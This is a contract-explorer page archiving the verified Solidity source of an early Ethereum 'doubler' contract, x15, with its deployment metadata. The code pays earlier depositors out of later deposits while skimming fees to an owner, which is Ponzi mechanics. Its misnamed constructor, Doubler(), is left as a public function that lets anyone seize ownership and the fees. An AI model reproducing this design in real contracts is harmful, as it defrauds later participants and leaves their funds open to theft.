Verified contractPartial
x15
Address0xc305b6401643b63dd9d74040bb16bb5c8bbbaa88
- Balance
4.12 ETH
- Transactions
72
- Compiler
solc 0.2.1
- Same code
Only this contract
Details
- Compiler
- solc 0.2.1+commit.91a6b35f
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- Not stated
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 1,025,652
- Creation transaction
- 0xc1d1629740…5061f5318d
x15.sol
// Submitted by EthereumHistory (ethereumhistory.com)
contract x15{
struct Participant {
address etherAddress;
uint amount;
}
Participant[] public participants;
uint public payoutIdx = 0;
uint public collectedFees;
uint public balance = 0;
address public owner;
// simple single-sig function modifier
modifier onlyowner { if (msg.sender == owner) _ }
// this function is executed at initialization and sets the owner of the contract
function Doubler() {
owner = msg.sender;
}
// fallback function - simple transactions trigger this
function() {
enter();
}
function enter() {
if (msg.value < 1 ether) {
msg.sender.send(msg.value);
return;
}
// add a new participant to array
uint idx = participants.length;
participants.length += 1;
participants[idx].etherAddress = msg.sender;
participants[idx].amount = msg.value;
// collect fees and update contract balance
if (idx != 0) {
collectedFees += msg.value / 5;
balance += msg.value;
}
else {
// first participant has no one above him,
// so it goes all to fees
collectedFees += msg.value;
}
// if there are enough ether on the balance we can pay out to an earlier participant
if (balance > participants[payoutIdx].amount * 2) {
uint transactionAmount = 2 * (participants[payoutIdx].amount - participants[payoutIdx].amount / 10);
participants[payoutIdx].etherAddress.send(transactionAmount);
balance -= participants[payoutIdx].amount * 2;
payoutIdx += 1;
}
}
function collectFees() onlyowner {
if (collectedFees == 0) return;
owner.send(collectedFees);
collectedFees = 0;
}
function setOwner(address _owner) onlyowner {
owner = _owner;
}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.